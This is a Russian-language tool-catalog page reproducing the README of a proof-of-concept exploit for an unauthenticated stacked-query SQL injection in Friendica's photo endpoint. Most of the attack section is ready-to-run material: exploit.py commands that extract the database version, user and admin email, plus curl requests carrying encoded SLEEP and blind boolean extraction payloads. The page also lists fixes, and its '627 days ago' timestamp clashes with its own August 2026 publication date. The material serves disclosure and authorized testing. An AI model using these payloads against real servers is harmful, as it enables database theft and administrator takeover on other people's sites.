Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-72550-poc — CVE-2026-72550 — PoC неаутентифицированной SQL-инъекции Stacked-Query в Friendica (CVSS 9.8, критический уровень) | Kitploit
Инструменты/GitHubGitHub/abdugafforov-bobur/cve-2026-72550-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийЭксфильтрация данныхСбор информацииВеб-безопасностьТестирование на Проникновение
GitHubabdugafforov-bobur/cve-2026-72550-poc

CVE-2026-72550-poc

CVE-2026-72550 — PoC неаутентифицированной SQL-инъекции Stacked-Query в Friendica (CVSS 9.8, критический уровень)

Репозиторий
627 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-72550 — Неаутентифицированная SQL-инъекция в Friendica

Неаутентифицированная SQL-инъекция через пакетные запросы (stacked queries) в endpoint фотографий Friendica позволяет любому посетителю выполнять произвольный SQL.

ПолеЗначение
CVE IDCVE-2026-72550
ПродуктFriendica (федеративная социальная сеть, размещаемая на собственном сервере)
Затронутые версии<= 2026.08-dev (git HEAD e3fc1bc)
ТипCWE-89: SQL-инъекция (неаутентифицированная, пакетные запросы)
КритичностьКритическая — CVSS 3.1: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Требуется аутентификацияНет

Краткое описание

Endpoint просмотра фотографий в Friendica принимает параметр запроса order и без экранирования конкатенирует его в выражение SHOW COLUMNS ... LIKE '...', которое выполняется через «голый» PDO::query() — а это допускает выполнение нескольких выражений. Вход в систему не требуется, а в стандартной установке (block_public отключён по умолчанию) достаточно любой публично видимой фотографии. Поскольку PDO::query() выполняет несколько выражений подряд (stacked statements), анонимный атакующий не просто читает данные — он выполняет произвольный SQL, включая INSERT/UPDATE для создания учётной записи администратора.

Уязвимый путь кода

root@kitploit:~
mod/photos.php:673              — читает «сырое» значение $_GET['order']
DBStructure::existsColumn()     — конкатенирует в: SHOW COLUMNS FROM `photo` LIKE '$column'
  src/Database/DBStructure.php:714
DBA::p() → PDO::query()         — выполняет запрос с включённой поддержкой пакетных выражений

Путь запроса по умолчанию достигает этого кода: $cmd по умолчанию равен 'view' (что удовлетворяет проверке $cmd === 'view'), а no_count выключен, поэтому аутентификация и какие-либо нестандартные настройки не требуются.

Использование

root@kitploit:~
# Установка зависимости
pip install requests

# Проверка, уязвима ли цель (обнаружение по времени)
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --check-only

# Извлечение версии БД через слепую SQL-инъекцию (blind SQLi)
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract version

# Извлечение текущего пользователя БД
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract db_user

# Извлечение имени текущей БД
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract db_name

# Извлечение email первого администратора
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract admin_email

Параметры

ФлагОписание
-u / --urlБазовый URL цели (например, http://target:8176)
-r / --userИмя пользователя, чью фотогалерею атаковать
-i / --resource-idResource ID любой публично видимой фотографии
--extractИзвлекаемое значение: version, db_user, db_name, admin_email
--check-onlyТолько проверить уязвимость, не извлекать данные
--sleepЗадержка SLEEP в секундах (по умолчанию: 5)

Ручное воспроизведение

Куки и аутентификация не нужны. Достаточно указать resource-id любой публичной фотографии:

root@kitploit:~
# Контроль — корректный order, быстрый ответ (~0.05s)
curl -s -o /dev/null -w "%{time_total}\n" \
  "http://TARGET/photos/alice/image/RESOURCE_ID?order=created"

# Инъекция — выполняется пакетный запрос SLEEP(5), ответ задерживается ~5s
curl -s -o /dev/null -w "%{time_total}\n" \
  "http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20SLEEP(5)--%20-"

Декодированная нагрузка: x';SELECT SLEEP(5)-- -

Внедрённый SQL принимает вид:

root@kitploit:~
SHOW COLUMNS FROM `photo` LIKE 'x';SELECT SLEEP(5)-- -'

Слепое булево извлечение

root@kitploit:~
# Истинное условие (@@version начинается с '1') → задержка ~5s
curl -s -o /dev/null -w "%{time_total}\n" \
  "http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20IF(SUBSTRING(@@version,1,1)=%271%27,SLEEP(5),0)--%20-"

# Ложное условие (@@version начинается с '9') → быстрый ответ
curl -s -o /dev/null -w "%{time_total}\n" \
  "http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20IF(SUBSTRING(@@version,1,1)=%279%27,SLEEP(5),0)--%20-"

Воздействие

Неаутентифицированный атакующий может:

  • Читать любые данные из базы данных (слепая экфильтрация учётных данных, email-адресов, личных сообщений)
  • Записывать произвольные строки — включая создание учётной записи администратора через INSERT INTO user
  • Изменять существующие данные — повышать любого пользователя до администратора, подделывать записи, сбрасывать пароли
  • Удалять данные или таблицы (отказ в обслуживании)

Это полная компрометация базы данных, доступная любому анонимному посетителю стандартной установки Friendica.

Исправление

  1. Сверять order с белым списком известных столбцов перед использованием
  2. Использовать параметризованные запросы вместо конкатенации строк в SHOW COLUMNS
  3. Отключить выполнение нескольких выражений в PDO-соединении (PDO::ATTR_EMULATE_PREPARES => false)

Хронология

ДатаСобытие
2026-07-07Уязвимость обнаружена и подтверждена на локальном экземпляре
2026-08-11CVE-2026-72550 опубликован через CNA TuranSec

Отказ от ответственности

Данный инструмент предоставляется исключительно для авторизованного тестирования безопасности и в образовательных целях. Используйте его только против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Автор не несёт ответственности за неправомерное использование.

Авторство

Обнаружено Бобуром Абдугаффоровым (@abdugafforov-bobur)

CVE присвоен через CNA TuranSec

Скачать инструмент